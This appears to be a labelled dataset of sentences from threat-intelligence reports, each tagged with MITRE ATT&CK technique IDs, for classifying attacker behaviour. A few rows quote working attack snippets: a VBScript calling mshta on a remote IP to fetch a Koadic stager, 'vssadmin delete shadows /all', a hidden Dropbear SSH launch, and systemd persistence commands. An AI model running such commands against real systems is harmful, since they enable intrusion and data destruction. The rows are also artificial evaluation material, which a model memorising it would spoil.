"The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(command prompt output)> The upload command (2) writes data provided by the C2 to a specified file",T1071
We have seen the following HTTP POST parameters within the Zebrocy C++ samples: porg structOne oq volume DDE Details The author of the DDE document used in the February 2018 attacks used some obfuscation techniques in an attempt to evade detection,T1071
"XAgent uses HTTP requests to communicate with its C2 servers, which allows the threat actor to interact with the compromised system",T1071
"For instance, when using this string we observed DNS queries for “apple-search.infoclose”, as the string “close” was supposed to be the next portion of the C2 URL",T1071
The malware sends an HTTP GET request to its C2 IP address using HTTP over port 443,T1071
"In the order to run the SSH server, the attackers created a VBS file with the following content: Set WshShell = CreateObject(“WScript.Shell”) WshShell.CurrentDirectory = “C:\WINDOWS\TEMP\Dropbear\” WshShell.Run “dropbear.exe -r rsa -d dss -a -p 6789”, 0, false As is evident here, the SSH server will accept connections on port number 6789",T1547.001
"""The embedded VBScript is retrieved from a resource and decrypted using the same algorithm as discussed above, which results in the following cleartext:       set objshell = createobject(\""""wscript.shell\"""")objshell.run \""""mshta hxxp://86.106.131.177:6500/zIZFh\"""",vbhide     The Koadic C2 server will respond to this request with Javascript code that acts as the Koadic staging payload, which allows the actor to run additional Koadic modules on the end system to carry out their post-exploitation activities""",T1547.001
"NavRAT then creates a registry key in order to execute this file copy at the next reboot of the system, an initial method of persistence",T1547.001
"This file is then copied to a filename of ‘Windows Update.lnk’, which is placed in the startup path previously identified",T1547.009
This shortcut file points to the path of the previously written ‘winhelp.cpl’ file,T1547.009
"It then sends the following IRC commands: NICK bxphzrjbxp USER bxphzrjbxp bxphzrjbxp bxphzrjbxp bxphzrjbxp To make sure it connected to the correct server, the Trojan checks for the message sent from the IRC server after the bot connects: Welcome to the MpkNet IRC Network The MPK bot does not join a specific IRC channel, instead sending private messages (PRIVMSG) to a user with the nick “mpk”",T1132
This encoded information then gets an additional header added and sent across the network.,T1132
Attack Overview The attack starts with Microsoft Word documents containing a malicious VBA macro being attached to spear phishing emails,T1598.002
Attached to this email was a malicious Microsoft Word document (MD5: f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158,T1598.002
"Like past attacks, the initial infection vector is a malicious Word document attached to a phishing email that is well-tailored to the targeted business and its day-to-day operations",T1598.002
"MAGIC HOUND TOOLSET The Magic Hound attacks did not rely on exploit code to compromise targeted systems, instead relying on executables and Microsoft Office documents, specifically Excel and Word documents containing malicious macros",T1598.002
"The emails had a malicious Excel macro document attached, which when executed led to a new Microsoft Visual Basic (VB) script-based malware family which we are dubbing “BabyShark”",T1598.002
"The initial infection vector of this campaign is a Microsoft Office Excel Worksheet with an Office macro that uses the mshta.exe Windows executable to run scripts, which are embedded in the HTML of a specially-crafted blogspot.com page",T1598.002
"The majority of delivery documents contain a generic lure image requesting the victim enable macros with no additional content, the adversaries seemingly relying solely on lure filenames to entice victims to launch the malicious document",T1204
"These documents contained malicious OLE objects used to drop binaries.This time, however, they contained malicious OLE (Object Link Embedded) objects.Initial analysis confirmed two similarly sized OLE object files within this document which appeared to be the same from an execution point of view.The two dropped binaries were stored and executed in this location during our analysis:C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exeC:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exeInitial analysis showed some sloppy cleaning up from Group123, which we used later to determine that separate campaigns were the work of this same actor, as compilation artifacts remained within the binaries:e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdbThe second stage of the dropped binaries was used to execute wscript.exe while injecting shellcode into this process",T1204
Cluster A Case 1: Delivery via document property macro – a789a282e0d65a050cccae66c56632245af1c8a589ace2ca5ca79572289fd483  In our research we found at least one attack against a company leveraging a Microsoft Office Excel document with an embedded macro to launch the malware,T1204
Whitefly first infects its victims using a dropper in the form of a malicious .exe or .dll file that is disguised as a document or image.,T1204
"The file, named Microsoft.Win32.TaskScheduler.dll, is digitally signed by a certificate from AirVPN",T1553.002
The DLL is also digitally signed by a certificate from “AirVPN”,T1553.002
"If the <flag> field of the message header is greater than one, the XOR key used to encrypt message bodies is iterated in reverse when encrypting and decrypting messages",T1573
"Initially, the key is sent to the C2 server with the entire message and headers encrypted with the RSA key exchange algorithm",T1573
The AES key is unique for each communication and is encrypted with one of two RSA public keys,T1573
"One of the malware families tied to this group, BADNEWS, continues to be updated both in how it uses dead drop resolvers, as well as how it communicates with a remote C2 server",T1102
The tool would connect to the SQL SharePoint database and issue a query to dump all data from the database to a temporary file affixed with 'spdata',T1003
"The information contained in this data dump include:  Stolen credentials Potential systems to login to using stolen credentials Deployed webshell URLs Backdoor tools Command and control server component of backdoor tools Scripts to perform DNS hijacking Documents identifying specific individual operators Screenshots of OilRig operational systems  The Leak In mid-March 2019, an unknown entity appeared on several hacking forums and Twitter with the user handle @Mr_L4nnist3r claiming they had access to data dumps involving internal tools and data used by the OilRig group",T1003
"The credentials appear to have been stolen via multiple techniques, including using post-exploition password recovery tools such as MimiKatz or its variant ZhuMimiKatz",T1003
"In addition to these tools, we believe OilRig attackers obtained credentials through, bruteforcing, SQL injections, and using traditional credential harvesting toolkits as we discussed in the Striking Oil blog published in September 2017",T1003
"We are unable to confirm if all of these stolen credentials are indeed valid sets of credentials, but based upon previously observed activity, timestamping, and known behaviors, it is highly probable that these credentials were or may still be valid",T1003
"Vault was implemented in Windows 7, it contains any sensitive data (like the credentials) of Internet Explorer",T1003
"Also, the use of the  mimikatz and pwdump tools suggests the adversary attempts to dump credentials on compromised systems",T1003
"DRIVE Lists the logical drives and the type, as well the total/free space of the fixed devices",T1083
Command Description   !Dir Lists the contents of a specified directory   !Drives Enumerates the storage drives attached to the system and their respective type,T1083
The dropped files are either in the root of the “ProgramData” folder or in a subdirectory,T1083
"Figure 7: Property list file in LaunchAgents directory To camouflage the location of the malicious file, Keydnap replaces argv[0] with /usr/libexec/icloudsyncd –launchd netlogon.bundle",T1083
.iqy files are simple text files containing a URL which are opened by default by Excel,T1083
These platforms may not be well maintained and may break intermittently,T1083
"Open directory listing of hxxp://stevemike-fireforce[.]info/ Based on the contents and structure of the initial identified open directories, it was possible to find several infrastructure patterns in use",T1083
"Figure 2: Zyklon attack flow Infection Techniques CVE-2017-8759 This vulnerability was discovered by FireEye in September 2017, and it is a vulnerability we have observed being exploited in the wild",T1203
"Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious “scriptlet” file, or .sct file, which is also embedded in the malicious RTF document",T1203
"Attack chain of Tropic Trooper’s operations Here’s a summary of the attack chain of Tropic Trooper’s recent campaigns:  Execute a command through exploits for CVE-2017-11882 or CVE-2018-0802, security flaws in Microsoft Office’s Equation Editor (EQNEDT32.EXE)",T1203
The attack involved the new HAWKBALL backdoor being delivered via well-known Microsoft Office vulnerabilities CVE-2017-11882 and CVE-2018-0802.,T1203
"The attacker leveraged multiple exploits, targeting both CVE-2014-6332 and CVE-2014-4113",T1068
"Organizations that Buckeye targeted over time, per region Malware and tools Buckeye uses a number of hacking tools as well as malware",T1518.001
"This group was observed using tactics such as registering typosquatting domains for security or technology vendors, abusing open-source penetration testing tools, and leveraging novel file types as anti-analysis techniques",T1518.001
"Keep security software up-to-date with the latest definitions  Protection Norton Security, Symantec Endpoint Protection, and other Symantec security products protect users against these threats through the following detections: AV  Backdoor.Cadelspy Backdoor.Remexi Backdoor.Remexi.B  IPS  System Infected: Backdoor.Cadelspy Activity 2 System Infected: Backdoor.Remexi Activity  Indicators of compromise We have also compiled an indicators-of-compromise document containing further details which can be used to help identify the threats if they are present in your environment",T1518.001
"Enterprises can benefit from Trend Micro’s Smart Protection Suites with XGen security, which infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint",T1518.001
[9] “HKU concern group raises proxy fears in key vote.” EIJ Insight,T1090
"In addition to using RDP for lateral movement, APT39 has used this protocol to maintain persistence in a victim environment",T1021.001
APT40 has been observed consolidating files acquired from victim networks and using the archival tool rar.exe to compress and encrypt the data before exfiltration,T1560
The results are Gzipped and saved under random file in the temp folder.,T1560
"TG-3390 attempts to reenter the environment by identifying accounts that do not require two-factor authentication for remote access solutions, and then brute forcing usernames and passwords",T1110
"This version injects a malicious module into one of Avast's processes, whereas early versions of the campaign detected Avast and quit",T1055
Injects ma32.dll into “wwahost.exe” or “audacity.exe”,T1055
"FakeRun’s PDB string (D:\Work\Project\VS\house\Apple\Apple_20180115\Release\FakeRun.pdb) indicates the loader will execute dllhost.exe and inject one malicious DLL file, which is the backdoor, into this process",T1055
"20 New processes The malicious svchost constantly queries ieframe.dll, as well as IWebBrowser2 Interface using CLSID dc30c1661-cdaf-11D0-8A3E-00c04fc9e26e, both key components to interact with Internet Explorer",T1055
The encoded payload was a Cobalt Strike httpsstager that was injected into the PowerShell process that ran the command,T1055
"After finding the process id, the shellcode uses standard functions to allocate and write memory within Explorer and then uses low-level API RtlCreateUserThread for thread injection.",T1055
"Instead of using systeminfo and tasklist commands, the C# variant of Zebrocy uses WMI queries to gather this information",T1047
"Subscriptions consist of three core WMI classes: a Filter, a Consumer, and a FilterToConsumerBinding",T1047
This suggests that other WMI-based VM detection techniques may also detect certain physical systems if those systems do not support the specific WMI query,T1047
Perhaps they plan to pair this stealer with another dropper that maintains the WMI anti-AV functionality,T1047
"FeedBack.php validates the sender by User-Agent, saves the data in the “RAR” server directory and stores the metadata in the mssql database for later reference",T1074
On the next step this file is executed by rundll32.exe via the KlpSvc export,T1218.011
19-1 regsvr32 running the .dlls  Fig,T1218.010
It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind,T1027.002
"An interesting note on these payloads is that all the Delphi payloads delivered in this campaign were packed with UPX, while none of the other payloads were packed",T1027.002
"Obfuscation While the downloader module is not packed, the backdoor is packed with a modified version of UPX",T1027.002
Can be packed into a single .py file and run without any dependencies other than the python standard library on all OSes,T1027.002
"This is consistent with most espionage-motivated adversaries, as once the adversary gains access via legitimate credentials, they are able to masquerade as a legitimate user and essentially become an insider threat",T1036
CTU researchers identified BRONZE UNION actors using a file named ms.exe that was likely a credential-abuse tool from the Kekeo toolset,T1036
"Bankshot implants are distributed from a domain with a name similar to that of the cryptocurrency-lending platform Falcon Coin, but the similarly named domain is not associated with the legitimate entity",T1036
"Additionally, some of this early activity shares a similarity with current FIN7 operations – the use of Power Admin PAExec for lateral movement",T1021.002
"There was a slight deviation in the November grouping, where the three samples we collected still used the Joohn author name for the last modified field but reverted to a default USER/user author name for the creator field",T1033
"Also, this variant of OopsIE uses the output of the whoami command as the parameter within the URL when communicating with the C2 server, which differs from the previous OopsIE variant that used the hostname and username from the environment variables",T1033
These strings have the following format:uuid=[Victim ID]#un=[Username]#cn=[Hostname]#on=[OS Version]#lan=[IP Address]#nop=#ver=1.0uuid=[Victim ID]#un=[Username]#An example of the first string may be seen below:uuid=e29ac6c0-7037-11de-816d-806e6f6e696351c5#un=Josh Grunzweig#cn=WIN-LJLV2NKIOKP#on=mav6miv1#lan=192.168.217.141#nop=#ver=1.0It should be noted that the variables used for this string are different from previous versions,T1033
"When the malicious ISAPI filter captures a username matching this variable, it knows to handle the incoming HTTP request as a command to the web shell",T1033
Code comparison between the default batch script issued by Poison Frog’s C2 and a batch script received by the Helminth Trojan Webshells The data dump included several different webshells apparently used by OilRig to interact with compromised servers,T1059
"When, finally, the first stage shellcode receives a special “FF” signal, it then executes the delivered shellcode",T1059
"Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment “one line shellcode injection with native x86 shellcode”",T1059
"However, in order to kick off the execution of the malware the attacker uses a batch script which executes the malware, but the batch script does more than simply initiate execution of the malware",T1059
The full contents of the batch script are given in Appendix C – a.bat,T1059
"Can capture all screen (“AllScreen”) or the active window (“ActiveWindow”)   -ms Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration",T1113
"The second email references a Hong Kong University alumni organization that fears votes in a referendum to appoint a Vice-Chancellor will be co-opted by pro-Beijing interests.[9]  Figure 1: Lure Screenshots The group’s previous activities against financial and policy organizations have largely focused on spear phishing emails written in English, destined for Western audiences",T1113
The C2 server can also send a PowerShell command to capture and store a screenshot of a victim’s system,T1113
"It also deletes Windows Event Logs : Application, Security, Setup, System",T1070
"As mentioned previously, Buckeye also uses a number of hacking tools, including the following: Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister",T1056
Example of decoded keylogger output,T1056
"XAgent C2 Communications The macOS variant of XAgent has ability to receive commands from threat actors via its command and control channel, but is also capable of logging key strokes via its keylogger functionality",T1056
"Figure 1: Code from 29[.]html scheduling the first task to run a script from pastebin The second task (“MSOFFICEER”) in Figure 2 runs the script contents of a different page of the same blog, blog-page[.]html, every 100 minutes",T1053 | T1053.005
"Cyber threat groups’ access to the media organization’s networks could potentially provide the government advance warning on upcoming protests, information on pro-democracy group leaders, and insights needed to disrupt activity on the Internet, such as what occurred in mid-2014 when several websites were brought down in denial of service attacks.[8] Threat Actors Use Spear Phishing Written in Traditional Chinese Script in Attempted Intrusions In August 2015, the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations, including newspapers, radio, and television",T1598.003
"Group123 Links?  As we explore the Korean malware landscape, we always have burning questions relating to any possible links with Group123",T1598.003
"It’s important to remember, that while we were using Bitly links to help gauge click location, anyone who clicks these links (including researchers) are also counted",T1598.003
"Visitors are asked to download the “University Of Oxford Job Symposium Pre-Register Tool”:  The downloaded file (which is also signed with an AI Squared certificate), is a fake registration tool built by the attackers: OxfordSymposiumRegTool.exe f77ee804de304f7c3ea6b87824684b33 If run by the victim, their computer would get infected, while they are shown this registration process:    Note that after completing the “registration process”, the victim is asked to send the form to an email address in oxford-careers[.]com, which also belongs to the attackers",T1057
Verifies that there is no process with the name “rsyncd” on the active process list (“dbus-inotifier” if the Trojan does not have root privileges),T1057
It is created as a separate process instead of child process of Office applications,T1057
"After writing to this file, the Trojan will enter a loop to continually to check for changes to the modification time of this file, effectively waiting for the actor to make modifications to the file",T1070.006
"It appears the same actor developed both the Komplex and XAgentOSX tools, based on similarities within the following project paths found within the tools: Komplex: /Users/kazak/Desktop/Project/komplex XAgent OSX: /Users/kazak/Desktop/Project/XAgentOSX We believe it is possible that Sofacy uses Komplex to download and install the XAgentOSX tool to use its expanded command set on the compromised system",T1087
"""Section 1 The first section of the PowerShell script is responsible for setting different key variables that are used by the remaining sections of the PowerShell script, especially the following variables:  TEMpPAtH = """"C:\ProgramData\"""" (the path used for storing the temp files) Get_vAlIdIP = https://api.ipify.org/ (used to get the public IP address of the machine) FIlENAmePATHP = WindowsDefender.ini (file used to store Powershell code) PRIVAtE = Private Key exponents PUbLIc = Public Key exponents Hklm = """"HKLM:\Software\"""" Hkcu = """"HKCU:\Software\"""" ValuE = """"kaspersky"""" SYSID DrAGon_MidDLe = [array of proxy URLs]  Among those variables, there is one variable of particular interest, DrAGon_MidDLe, which stores the list of proxy URLs (detailed at the end of the blog in the Network Indicators portion of the Indicators of Compromise section) that will be used to interact with the C2 server, as shown in Figure 12""",T1546.013 | T1059.001
"After decoding out the blob, analysts found a PowerShell script.",T1546.013 | T1059.001
"""The macro contains a PowerShell script to persist in the """"Run"""" registry key, """"KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEncoding"""".""",T1546.013 | T1059.001
"A code comparison of hash 12c786c490366727cf7279fc141921d8 with hash 6de6a0df263ecd2d71a92597b2362f2c (from November 28, 2017).  Conclusion We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey (and possibly other countries)",T1550.002
The payload then calls the VirtualAllocEx API to create a buffer in the newly hollowed process and the WriteProcessMemory API to write the supplied data buffer that contains the code to inject to this newly created buffer,T1106
"FInally , the newest sample uses dynamic API lookups to attempt to make static disassembly harder to understand.",T1106
Unpacks the code in memory via process hollowing,T1055.012
"The specific sandbox checks include:  Using WMI to check BIOS version (SMBIOSBIOSVERSION) for VBOX, bochs, qemu, virtualbox and vm",T1497.001 | T1497
"Mouse Pointer Check The Trojan will perform the following WMI query:   Select * from Win32_PointingDevice   The Trojan will check the Caption, Description, HardwareType, InfSection, Manufacturer and Name fields in the results for the string VMware, Virtual, VBox, VM or Oracle",T1497.001 | T1497
The OopsIE payload checks to see if the result of this query as more than 0 elements to determine if it is running on a virtual machine,T1497.001 | T1497
"Microphone, Voice IP applications",T1123
"After the encryption of file, it will delete shadow copies with the command “ vssadmin delete shadows /all ” to ensure that all the data cannot be restored easily.",T1485
"Once encrypted, the system information is sent in the body of an HTTP POST",T1486
MS\d{2}-\d{3},T1210
HKCU\Software\Microsoft\Office test\Special\Perf,T1137
VPN and to persist in same sentence,T1133
C:\Windows\System32\utilman.exe,T1546.008
!ExeCuteFile Executes a specified file using ShellExecuteA   !DeleteFileFolder Deletes a file or a folder   !SendkeyLogToServer Uploads the %TEMP%\Save.tmp file to the C2 server   !DeleteKeyloggerLog Deletes the %TEMP%\Save.tmp file on the system    Table 2 Commands available within MPK IRC Bot   The post Magic Hound Campaign Attacks Saudi Targets appeared first on Palo Alto Networks Blog,T1070.004 | T1074
"^testmode Runs the test function to determine which DNS query types can successfully communicate with the C2   ^showconfig Creates a pipe delimited (“|”) string that contains the sample’s settings, including the list of C2 domains and available DNS query types",T1071 | T1008
"10 Ensuring the files have been downloaded After the malware is downloaded and files verified, the script will check in the C:\Program Files\ directory for the presence Avast antivirus, which happens to be the most common installed AV worldwide",T1083 | T1105
25 26 ix32.dll ix64.dll LoadLibrary call template dll is used by Reinstaller/Injector plugin (rsXX.dll) for injecting LoadLibrary call into running processes,T1055
"Additionally, the first stage JavaScript creates a scheduled task that executes the second stage code within a minute – this delayed execution helps to bypass behavior analysis since the second stage is not directly executed by the first stage",T1053.005 | T1074 | T1027
All subsequent messages are encrypted with AES in CBC mode,T1573 | T1027
"Analyzing Gold Dragon As part of its initialization, Gold Dragon:  Builds its imports by dynamically loading multiple APIs from multiple libraries Gains debug privileges (“SeDebugPrivilege”) for its own process to read remote memory residing in other processes  The malware does not establish persistence for itself but for another component (if it is found) on the system:  The malware begins by looking for an instance of the Hangul word processor (HWP) running on the system",T1055 | T1057
"An example of 1.hwp with registry and system information:  Gold Dragon executes these steps executed in the exfiltration process:  Once the malware has gathered the required data from the endpoint, it encrypts the data file 1.hwp using the password “www[dot]GoldDragon[dot]com” The encrypted content is written to the data file 1.hwp",T1074 | T1486
"A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop",T1113 | T1105
Available Commands The XAgent C2 server will provide commands for the Trojan to run on the compromised system within its response to inbound HTTP request,T1071 | T1059
"Buckeye has been known to exploit zero-day vulnerabilities in the past, such as CVE-2010-3962 in an campaign in 2010 and CVE-2014-1776 in 2014",T1068 | T1203
"Building a client    Build configuration Usage scenario Description     Debug configuration Testing The pre-defined Settings.cs will be used, so edit this file before compiling the client",T1027
"Command  Action    sign  Requests system information    settings  Requests settings from C2 server    logs  Uploads harvested passwords    wallet  Uploads harvested cryptocurrency wallet data    proxy  Indicates SOCKS proxy port opened    miner  Cryptocurrency miner commands    error  Reports errors to C2 server    ddos  DDoS attack commands    Table 1: Zyklon accepted commands The following figures show the initial request and subsequent server response for the “settings” (Figure 13), “sign” (Figure 14), and “ddos” (Figure 15) commands",T1090 | T1059
"Command Description   search Searches for corresponding files   search&upload Encrypts and adds the corresponding files to the upload directory with the provided name   uploadfile Encrypts and adds the specified file to the upload directory with the provided name   uploadfolder Encrypts and adds the mentioned directory to the upload directory with the provided name   shellexecute Silently executes received command with cmd.exe   wmic Silently executes received command with wmic.exe (for WMI commands)   sendIEPass Encrypts and adds all gathered browser data into files for upload to C2   uninstall Removes files, directory and BITS tasks    Cryptography To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for every sample",T1047 | T1070.006 | T1036 | T1083 | T1074 | T1486
Command Hash   Command Name   Description    0x0AA37987  loadconfig  Runs each command specified in the configuration file (see the Configuration section),T1070.006 | T1016
"Comnie, first named by Sophos seemingly after the Windows LNK file name it created, is a custom malware family that is used in targeted attacks, and has been observed in the wild since at least April 2013",T1036 | T1547.009
"Creates the service file /usr/lib/systemd/system/rsyncd.service [Unit]Description= synchronize and backup service.After=syslog.target [Service].ExecStart=/bin/rsyncd.OOMScoreAdjust=-500 [Install].WantedBy=multi-user.target Then it installs the service by executing the following commands: ln -s '/lib/systemd/system/rsyncd.service' '/etc/systemd/system/multi-user.target.wants /rsyncd.service' systemctl daemon-reload  The running systemd process determines, which option will be used to register the Trojan in autorun",T1007 | T1543.003 | T1021 | T1102 | T1569.002
"Deletion of all registry keys associated with the extraction of the SFX RAR Deletion of the User Assist Key entries related to applications that have been recently executed Deletion of all registry keys relating to services that have recently run  Clearly the attacker using this PlugX is paranoid about it being detected on disk, both in the registry and the file system",T1112 | T1547.001 | T1012
Encrypted backdoor configuration    Description Decryption Strings   Check code MDDEFGEGETGIZ   Addr1: tel.qpoe[.]com   Addr2: elderscrolls.wikaba[.]com   Addr3: tel.qpoe[.]com   Port1: 443   Port2: 443   Port3: 53   LoginPasswd: someone   HostMark: mark   Proxy: 0    Figure 12,T1140 | T1027
"Exploit Analysis  Despite being an older vulnerability, many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word",T1068 | T1203
"Exploits  CVE-2017-0143, SMB exploit CVE-2017-0146, SMB exploit  These 2 exploits are EternalBlue/Doublepulsar and are used to drop the Stage1 Dropper onto a system.  Installation The Gh0stRAT dropper arrives on a PC through the use of EternalBlue/DoublePulsar.  Once on a victim’s PC, the dropper executable is launched and it decrypts and loads the Gh0stRAT DLL into memory.  It then passes the config buffer to the extracted DLL and calls the exported function (Shellex)  [Screenshot 2] The mainthread of the code.  Note the call at the bottom that calls Shellex Gh0stRAT dll functionality An important note:  In its base state, this sample is damaged, therefore it will not install its services properly.  However, as the service information is included, I will list it anyways.  Additionally, samples downloaded from its distribution server DO install correctly,  and are downloaded during the base dll’s runtime",T1574.001 | T1203
Figure 12: DrAGon_MidDLe stores the list of proxy URLs used to interact with C2 server Section 2 The second section of the PowerShell script has the ability to perform encryption and decryption of messages that are exchanged between the system and the C2 server,T1573 | T1090
"Figure 2: APT39 attack lifecycle There are some indications that APT39 demonstrated a penchant for operational security to bypass detection efforts by network defenders, including the use of a modified version of Mimikatz that was repacked to thwart anti-virus detection in one case, as well as another instance when after gaining initial access APT39 performed credential harvesting outside of a compromised entity's environment to avoid detection",T1070.004 | T1027.002
"The ‘Company’ field in this case, contains the raw command that the attacker wishes to run, downloading and executing the next stage of the malware. Delivery via HTA Loader. In this case the attackers sent an HTML Application file (.hta) to targets most likely as an email attachment",T1053.005 | T1106 | T1010 | T1074 | T1547.001
"Figure 4: Execution Workflow Section of v.vbs After successful execution of the steps mentioned in the Execution Workflow section, the Task Scheduler will launch GoogleUpdateschecker.vbs every minute, which in turn executes the dUpdateCheckers.ps1 and hUpdateCheckers.ps1 scripts",T1053.005 | T1106
"Figure 8 CARROTBAT downloading final payload via certutil   The downloaded CAB file has the following properties:    MD5 a943e196b83c4acd9c5ce13e4c43b4f4   SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd   SHA256 cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62   File Type Microsoft Cabinet archive data, 181248 bytes, 3 files      The following three files and their descriptions are dropped by this CAB file:      Filename Purpose   Install.bat Installation batch script responsible for copying the other files to C:\Users\Public\Downloads and setting the Run registry key to ensure persistence",T1036 | T1083 | T1105
Figures 8 and 9: LiteHTTP screenshots taken from the user`s profile in which the acronym “Knock” appears Conclusion SpeakUp`s obfuscated payloads and propagation technique is beyond any doubt the work of a bigger threat in the making,T1113 | T1027
"First, we had not seen the CPU fan check used before, and upon testing the WMI query in a VMware Windows 7 virtual machine we saw no result, as seen in Figure 1  Figure 1 WMI query for the Win32_Fan class on a VM returning no statistics However, when we ran the same query in a physical system running Windows 7, we saw the contents of the Win32_Fan class, as seen in Figure 2",T1047 | T1497
"For example, we can see it will inject itself to one these three processes:  %ProgramFiles(x86)%\Sophos\AutoUpdate\ALUpdate.exe %ProgramFiles(x86)%\Common Files\Java\Java Update\jusched.exe %ProgramFiles(x86)%\Common Files\Adobe\ARM\1.0\armsvc.exe  The attempt to inject itself into a process belonging to antivirus product suite is particularly bold",T1036 | T1055
"For instance, the following 15 bytes were used to generate an HTTP parameter during our analysis:    Random Value Constant Value agent_id   0F EE C8 83 56 0E 9F F0 EB 98 43 30 30 30 30    The resulting ciphertext is then encoded using XAgent’s base64 encoding routine that starts by building the following encoding alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_ As you can see, this is not the standard base64 alphabet, rather it is the “URL and Filename safe” Base 64 Alphabet from RFC 4648, as the “+” in the standard alphabet is replaced with “-” and the “/” replaced with “_”",T1027 | T1132
"GET /<string>/<5 digit number>/<4 character string>.php?<first 3 characters of last string>_id=<43 character string>= HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Host: <C2 Location> Cache-Control: no-cache    Figure 6: Sample GET request for WATERSPOUT backdoor Although there are no current infrastructure ties to link this backdoor to APT12, there are several data points that show a possible tie to the same actors:  Same initial delivery method (spear phishing email) with a Microsoft Word Document exploiting CVE-2012-0158",T1010 | T1008
"HawkEye offers the following exfiltration options based on the configuration: email, FTP, SFTP, HTTP POST to PanelURL API or ProxyURL.As mentioned above, in the comments of the main loop section, it also comes with several anti-analysis features, including starting an anti-debugging thread or disabling certain AV-related programs via the Image File Execution Options (IFEO) evasion technique by registering invalid debuggers that redirect and effectively disable various system and security applications.The following diagram summarizes the full infection process:ConclusionRecent changes in both the ownership and development efforts of the HawkEye Reborn keylogger/stealer demonstrate that this is a threat that will continue to experience ongoing development and improvement moving forward",T1071
"Hijack Clipboard Bitcoin Address Zyklon has the ability to hijack the clipboard, and replaces the user’s copied bitcoin address with an address served up by the actor’s control server",T1115 | T1016
If running with administrator privileges on a 32-bit host:  Copy the temporary DLL in %TEMP% to %WINDOWS%\LINKINFO.dll   Otherwise:  Copy the temporary DLL in %TEMP% to %APPDATA%\cnagnt.dll Delete the temporary DLL in %TEMP% Write a ‘Conime.lnk’ file in the user’s startup path,T1055 | T1574.001 | T1070.004
"In each iteration of the communications loop, the Trojan will check to see if the modification time of the first file changed, and if it is not updated the Trojan will update the second file by writing the string b<unique identifier>c<5 random lowercase characters>.<C2 domain> to the file by creating an HTTP POST request to a URL structured as follows: <Google Drive URL in ‘gdue’> + <second file identifier> + “?supportsTeamDrive=true&uploadType=resumable&fields=kind,id,name,mimeType,parents” In one RogueRobin sample (SHA256: f1b2bc0831…), the author did not use the Google Drive URL provided by the actor when issuing the x_mode command, and instead included a  hardcoded Google Drive URL, as seen in Figure 6",T1102 | T1105
"In most lures, one scheduled task persisted an APT32-specific backdoor and the other scheduled task initialized a commercially-available backdoor as backup",T1053.005 | T1036
"It can be used to execute files as a different user, move, and delete files locally, schedule remote AT jobs, perform host discovery on connected networks, scan for open ports on hosts in a connected network, and retrieve information about the OS, users, groups, and shares on remote hosts",T1087 | T1046
"It has the following command line argument help: info  <Server/Domain> [options] [options]:   -d Domain   -o OsInfo   -t TsInfo   -n NetuseInfo   -s ShareInfo ShareDir   -c Connect Test   -a Local And Global Group User Info   -l Local Group User Info   -g Global Group User Info   -ga Group Administrators   -gp Group Power Users   -gd Group Domain Admins   -f <infile> //input server list from infile, OneServerOneLine info <\\server> <user> ChromePass: A tool from NirSoft used for recovering passwords stored in the Chrome browser",T1069 | T1087
"It then uses the base64 encoding function with this alphabet to encode the data, which in the above case resulted in: D-7Ig1ngV3PkdouzP974 The Trojan then creates a string of 9 random symbols and appends the encoded ciphertext to this random string",T1573 | T1027 | T1132
"Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor",T1543.003 | T1016 | T1090
"Once Shellex is called, it first passes each of the items in the config buffer to their own strings.  Next, it creates a mutex using the filename and checks to see if the Service key for the service name exists.  If so, it opens it using service manager.  If not, it first saves a copy of itself to %Program Files (x86)%/DIFXE/svchost.exe.  Next, it creates the service and runs it.  Once the service is running, it creates a new mutex using [C2URL]:[PORT] and connects to the C2 server.  It then sends the Implant_Heartbeat opcode, and then calls its payload function to grab  Version Information (x86 and x64) Host information SystemInfo Processor Count and Write Speed Global Memory Status  before formatting it, altering the InstallTime subkey, and sending all of the information back to its C2 in the Implant_Login buffer",T1082 | T1543.003 | T1569.002
"Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails",T1071 | T1008
"One sample in particular, cba5ab65a… used yet another unique user agent string in combination with the previous user agent for its C2: Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1 A malware sample using two separate unique user agent strings is uncommon",T1033 | T1543.001
"Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter <>:[command]<>[parameters for command in hexadecimal format] The available commands are: Command Description 1 Run command 2 Upload a file 3 Download a specified file   The parameters for each command are issued in hexadecimal format",T1070.006 | T1016 | T1059 | T1105
